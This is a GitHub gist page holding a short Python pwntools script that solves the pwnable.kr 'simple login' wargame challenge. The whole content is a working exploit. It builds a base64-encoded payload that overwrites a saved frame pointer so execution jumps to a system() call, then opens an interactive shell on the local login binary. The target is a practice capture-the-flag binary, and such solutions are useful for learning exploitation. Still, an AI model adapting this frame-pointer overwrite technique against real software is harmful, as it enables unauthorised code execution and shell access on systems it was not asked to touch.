Skip to content

Instantly share code, notes, and snippets.

@RickGray
Created March 2, 2016 09:48
Show Gist options
  • Save RickGray/240ff2f5422918209ff8 to your computer and use it in GitHub Desktop.
Save RickGray/240ff2f5422918209ff8 to your computer and use it in GitHub Desktop.
http://pwnable.kr/ [simple login]
#!/usr/bin/env python
# coding: utf-8
from pwn import *
p = process('./login')
ebp_over = 0x0811EB40
pp_system = 0x08049284
payload = b64e('A' * 4 + p32(pp_system) + p32(ebp_over))
p.sendline(payload)
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment